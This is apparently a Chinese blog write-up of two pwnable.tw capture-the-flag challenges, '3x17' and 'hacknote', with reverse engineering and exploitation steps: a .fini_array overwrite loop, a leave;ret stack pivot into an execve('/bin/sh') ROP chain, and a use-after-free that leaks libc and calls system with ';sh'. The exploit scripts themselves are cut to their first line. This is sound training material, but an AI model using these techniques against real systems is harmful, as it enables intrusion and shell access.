二进制是一个不断学习的过程,以下记录我在pwnable.tw网站刷题的一些心得
3x17
前置知识
main函数启动过程
_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> __libc_csu_fini
而其中 __libc_csu_init和__libc_csu_fini则会分别去调用.init / .init_array以及.fini / .fini_array。
1 | void |
由上述elf-init的源码可以得知,__libc_csu_init调用.init_array是顺序调用,而__libc_csu_fini调用.fini_array是逆序调用。
即调用顺序为:
- .init
- .init_array[0]
- …
- .init_array[N]
- main
- .fini_array[N]
- …
- .fini_array[0]
- .fini
题目分析
检查
首先对文件进行检查
➜ 3x17 file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
➜ 3x17 checksec 3x17
[*] '/root/CTF/Pwn/tw/3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以发现是静态链接并且去除了符号等调试信息。在checksec时显示没有canary,其实是由于去除调试信息后未检测到。
RE
由于去掉调试信息,我们需要在RE的时候自己去找main函数。
.text:00000000004011D0 public _start
.text:00000000004011D0 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004011D0 ; __unwind {
.text:00000000004011D0 xor ebp, ebp
.text:00000000004011D2 mov r9, rdx ; rtld_fini
.text:00000000004011D5 pop rsi ; argc
.text:00000000004011D6 mov rdx, rsp ; ubp_av
.text:00000000004011D9 and rsp, 0FFFFFFFFFFFFFFF0h
.text:00000000004011DD push rax
.text:00000000004011DE push rsp ; stack_end
.text:00000000004011DF mov r8, offset __libc_csu_fini ; fini
.text:00000000004011E6 mov rcx, offset __libc_csu_init ; init
.text:00000000004011ED mov rdi, offset main ; main
.text:00000000004011F4 call ___libc_start_main
.text:00000000004011F9 hlt
.text:00000000004011F9 ; } // starts at 4011D0
.text:00000000004011F9 _start endp
先看一下没有strip情况下的start。
.text:0000000000401A50 public start
.text:0000000000401A50 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50 xor ebp, ebp
.text:0000000000401A52 mov r9, rdx
.text:0000000000401A55 pop rsi
.text:0000000000401A56 mov rdx, rsp
.text:0000000000401A59 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D push rax
.text:0000000000401A5E push rsp
.text:0000000000401A5F mov r8, offset sub_402960
.text:0000000000401A66 mov rcx, offset loc_4028D0
.text:0000000000401A6D mov rdi, offset sub_401B6D
.text:0000000000401A74 db 67h
.text:0000000000401A74 call sub_401EB0
.text:0000000000401A7A hlt
.text:0000000000401A7A ; } // starts at 401A50
.text:0000000000401A7A start endp
这是3x17的start。
所以sub_401EB0应该就是__libc_start_main。
offset sub_402960就是 __libc_csu_fini,loc_4028D0是__libc_csu_init,sub_401B6D为main函数。
进入到main函数,并对部分函数进行重命名。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // ST08_8
__int64 v5; // rcx
unsigned __int64 v6; // rt1
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
result = (unsigned __int8)++count;
if ( count == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
v4 = (char *)(signed int)sub_40EE70(&buf, &buf);
write(1u, "data:", 5uLL);
argv = (const char **)v4;
*(_QWORD *)&argc = 0LL;
read(0, v4, 0x18uLL);
result = 0;
}
v6 = __readfsqword(0x28u);
v5 = v6 ^ v8;
if ( v6 != v8 )
sub_44A3E0(*(_QWORD *)&argc, argv, envp, v5);
return result;
}
由于缺少符号不知道sub_40EE70函数功能,通过动态调试,sub_40EE70应该就是把输入的buf转化成数字。
整体逻辑就是往addr中写data,不过由于 count == 1的判断,只能够进行一次任意地址任意写。
利用方法
无限次写
在前置知识中介绍了main函数启动的流程,在main函数结束时调用.fini_array[N]。
在这个程序中,.fini_array有两个元素。
.fini_array:00000000004B40F0 _fini_array segment para public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array ends
在未修改.fini_array时的程序执行流程。
+---------------------+ +---------------------+ +---------------------+ +---------------------+
| | | | | | | |
| main | +--------> | __libc_csu_fini | +-------> | .fini_array[1] | +-------> | .fini_array[0] |
| | | | | | | |
+---------------------+ +---------------------+ +---------------------+ +---------------------+
我们进行如下修改。
- .fini_array[1] : main
- .fini_array[0] : __libc_csu_fini
此时执行流程发生了改变。
+---------------------+ +---------------------+ +---------------------+ +---------------------+
| | | | | | | |
| main | +--------> | __libc_csu_fini | +-------> | .fini_array[1] | +-------> | .fini_array[0] |
| | | | | main | | __libc_csu_fini |
+---------------------+ +---------------------+ +---------------------+ +---------------------+
^ |
| |
| |
+-------------------------------------------------------------------------+
这样便会一直进入到main函数。
result = (unsigned \__int8)++count;
每次进入到main函数时 count+1,而且count是无符号int8类型。
0b11111111 + 1 = 0b00000000
0b00000000 + 1 = 0b00000001
当count==1时,便会停止等待输入addr。
ROP
我们能够无限次向任意地址写0x18大小的任意内容。
所以我们能够提前布置好ROP,最后跳转到布置ROP的地方触发ROP以get shell。
pop_rax_ret
59
pop_rdi_ret
address of "/bin/sh\x00"
pop_rsi_ret
0
pop_rdx_ret
0
syscall
“/bin/sh\x00”随便布置在一块RW的区域就行。
关键是ROP布置在什么位置。
当我们布置完ROP后,再次进入到main,此时要修改.fini_array来改变程序流程。
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0] ; fini_array
观察上面代码,发现rbp被赋值为0x4B40F0(.fini_array),再call调用相关函数。
这里考虑把.fini_array[0]修改为leave_ret(栈迁移)。
leave就是mov rsp,rbp; pop rbp;
mov rsp,rbp ; rbp = 0x4B40F0 , rsp = 0x4B40F0
pop rbp ; rbp = [0x4B40F0] , rsp = 0x4B40F8
ret ; rip = [0x4B40F8] , rsp = 0x4B4100
经过这些指令后,rip变为0x4B40F8里面存储的内容,rip指向.fini_array[1]。
在修改.fini_array[0]时同时修改.fini_array[1]为ret(pop rip)。
接着rip执行ret后rip = 0x4B4100。
所以我们把ROP链布置在0x4B4100区域。
Expliot
1 | #!/usr/bin/python2 |
hacknote
题目分析
检查
➜ 0x06 file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /root/software/glibc-all-in-one/libs/2.23-0ubuntu11_i386/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
➜ 0x06 checksec hacknote
[*] '/root/CTF/Pwn/tw/0x06/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8045000)
RUNPATH: '/root/software/glibc-all-in-one/libs/2.23-0ubuntu11_i386'
RE
这是一道堆题,接着对每个操作进行分析。
添加一个note。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46unsigned int add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u); // note的结构体
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B; // note_puts = puts(arg0+4)
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size); // content的地址
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size); // 写入content
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
删除一个note,漏洞就在这里了,free完之后没有置空。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1)); // note content,free完没有设置为0
free(ptr[v1]); // note的结构体地址
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
打印note。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19unsigned int view()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);// 调用note_puts,note_puts(*(notes_addr+4))
return __readgsdword(0x14u) ^ v3;
}
以上三个就是主要的操作,我们通过分析可以获得以下几点。
- add操作时malloc一个0x8大小的区域(chunk size = 0x10),也就时note结构体,结构体的首部0x4大小是一个函数 puts(*(const char **)(a1 + 4)),接下来0x4大小存储的是content的地址。
- delete操作在free之后没有置空。
- view操作通过ptr[v1]来判断能否进行操作(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]),该地址是puts(*(const char **)(addr + 4)),而ptr[v1]+4就是content的地址,所以会打印出内容。但是由于delete操作在free之后没有置空,以及delete掉的note也可以进行该操作。
利用方法
获取libc基址
- 首先add两个大小不为0x8的note,序号分别为0和1。
delete(0);delete(1)
addr prev size status fd bk 0x88be000 0x0 0x10 Freed 0x0 None 0x88be010 0x0 0x18 Freed 0x0 None 0x88be028 0x0 0x10 Freed 0x88be000 None 0x88be038 0x0 0x18 Freed 0x88be010 None fastbins [ fb 0 ] 0xf7794788 -> [ 0x88be028 ] (16) [ 0x88be000 ] (16) [ fb 1 ] 0xf779478c -> [ 0x88be038 ] (24) [ 0x88be010 ] (24)
如上图所示,0x10chunk是note结构体,0x18chunk是content内容。
- add(0x8,p32(note_puts)+p32(puts_got)),导致0x88be028变成新的note的结构体chunk,0x88be000变成内容存放的chunk。此时view(0),就会调用0x88be000+0x8处的函数,即puts(*(const char **)(addr + 4)),0x88be000 + 0xC处则是puts_got,所以会打印出puts_got从而泄露了libc。
Get Shell
delete(2)
然后再add一个0x8的新note。
把ptr[0]的内容改成p32(system_addr) + “;sh\x00”即可。
当调用view(0)时,(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]),ptr[v1]是system函数的地址,由于传入的参数也是ptr[v1],所以我们要截断参数,让sh变成第二个有效参数(第一个是一串地址,对于system是非法的)。
例如:
➜ 0x06 cat sys.c
#include<stdlib.h>
#include<stdio.h>
int main()
{
system("aaa;ls");
return 0;
}
➜ 0x06 ./sys_test
sh: 1: aaa: not found
exploit.py hacknote libc_32.so.6 peda-session-hacknote.txt sys.c sys_test
Exploit
1 | #!/usr/bin/python2 |